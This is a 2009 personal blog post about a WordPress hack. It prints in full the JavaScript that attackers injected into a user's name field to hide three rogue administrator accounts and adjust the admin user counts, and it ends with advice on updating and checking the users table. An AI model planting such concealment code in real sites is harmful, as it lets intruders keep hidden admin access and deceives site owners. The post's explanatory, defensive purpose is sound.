dan forys

blog

Symptoms of a Wordpress hack

Posted on 2009-11-02 - Comments

I came to my site on Sunday morning ready to write the latest in my PHP tutorial, only to find a nasty looking 500 server error. I couldn’t even log into the admin panel.

After a while tinkering with various configuration settings and trying to get something to come up, I started searching the web. Turns out, earlier versions of WordPress were vulnerable to specific hacks that could let attackers create their own admin users.

Looking in the WordPress users table, three new users had been created. Their first names were set to the following: (note: code deliberately broken so I don’t trigger security protections)

...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
          try{
               var t=document.getElementById("user_superuser");
               while(t.nodeName!="TR"){
                    t=t.parentNode;\n               };
               t.parentNode.removeChild(t);
               var tags = document.getElementsByTagName("H3");
               var s = " shown below";
               for (var i = 0; i < tags.length; i++) {
                    var t=tags[i].innerHTML;
                    var h=tags[i];
                    if(t.indexOf(s)>0){
                         s =(parseInt(t)-1)+s;
                         h.removeChild(h.firstChild);
                         t = document.createTextNode(s);
                         h.appendChild(t);
                    }
               }

                var arr=document.getElementsByTagName("ul");
                for(var i in arr) if(arr[i].className=="subsubsub"){
                    var n=/>Administrator \\((\\d+)\\)</gi.e-xec(arr[i].innerHTML);
                    if(n!=null && n[1]>0){
                        var txt=arr[i].innerHTML.replace(/>Administrator \\((\\d+)\\)</gi,">Administrator ("+(n[1]-1)+")<");
                        arr[i].innerHTML=txt;
                    }

                    var n=/>Administrator <span class="count">\\((\\d+)\\)</gi.e-xec(arr[i].innerHTML);
                    if(n!=null && n[1]>0){
                        var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\\((\\d+)\\)</gi,">Administrator <span class=\\"count\\">("+(n[1]-1)+")<");
                        arr[i].innerHTML=txt;
                    }

                    var n=/>All <span class="count">\\((\\d+)\\)</gi.e-xec(arr[i].innerHTML);
                    if(n!=null && n[1]>0){
                        var txt=arr[i].innerHTML.replace(/>All <span class="count">\\((\\d+)\\)</gi,">All <span class=\\"count\\">("+(n[1]-1)+")<");
                        arr[i].innerHTML=txt;
                    }
                }        
          }catch(e){};
     };
    addLoadEvent(setUserName);
</script>

Note the three periods on the first line? Ingeniously, when you look at the records directly in the database using a tool like phpMyAdmin, it defaults to only showing the first line. This makes the field appear as ‘…’ – you only see the actual evil payload if you activate the full text view.

WordPress spits out the above code verbatim on the users page, without turning it into HTML entities. When run, the code looks for the maliciously injected users in the HTML, hides them and modifies the administrators count. This means that as long as Javascript is turned on in your browser, you’ll never see the extra users without manually looking into the database.

This was my users page with Javascript turned on: Screenshot of Wordpress admin panel with Javascript

and this is what happened when I turned Javascript off: Screenshot of Wordpress admin panel with Javascript off

Magic! Three extra users have appeared!

Again, note the three periods that appear as the user name – this is where the sneaky Javascript was embedded. The other sneaky thing is that two out of the three injected users had managed to replicate my correct email address, the third had it set as 'www@www.com'.

Once a malicious user is logged in as an adminstrator, they have free reign to do as they please – including directly modifying PHP code in the WordPress admin panel. It turns out that the server 500 errors were due to the hackers modifying the theme files I was using. It took a clean install of the theme before I could get into the blog again. Hopefully, I’ll do a post-mortem on the theme and post any malicious findings here.

The moral of the story? Keep your WordPress install up to date and keep an eye on the users table.

If you think you’ve been hacked, I’ve spotted a couple of useful guides to dealing with the aftermath.